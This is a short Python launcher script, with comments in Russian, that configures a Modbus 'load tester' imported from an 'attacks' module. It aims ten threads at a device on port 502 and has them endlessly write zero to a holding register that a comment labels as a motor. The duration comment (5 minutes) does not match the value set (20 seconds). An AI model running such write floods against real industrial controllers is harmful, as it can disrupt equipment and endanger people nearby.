#!/usr/bin/env python3
from src.core.attacks.modbus_load_test import ModbusLoadTester
from src.core.models.modbus_load_test import LoadTestConfig, WriteTask


def main():
    # Конфигурация теста
    config = LoadTestConfig(
        host="192.168.1.55",
        port=502,
        threads=10,
        duration=20,  # 5 минут
        tasks=[
            # Мотор - запись в holding register
            WriteTask(
                data_type='holding_register',
                address=100,
                value=0,
                interval=0.05,
                count=0  # Бесконечно
            )
        ]
    )

    # Запуск теста
    tester = ModbusLoadTester(config)
    stats = tester.run()

    # Дополнительная обработка результатов
    # ...


if __name__ == "__main__":
    main()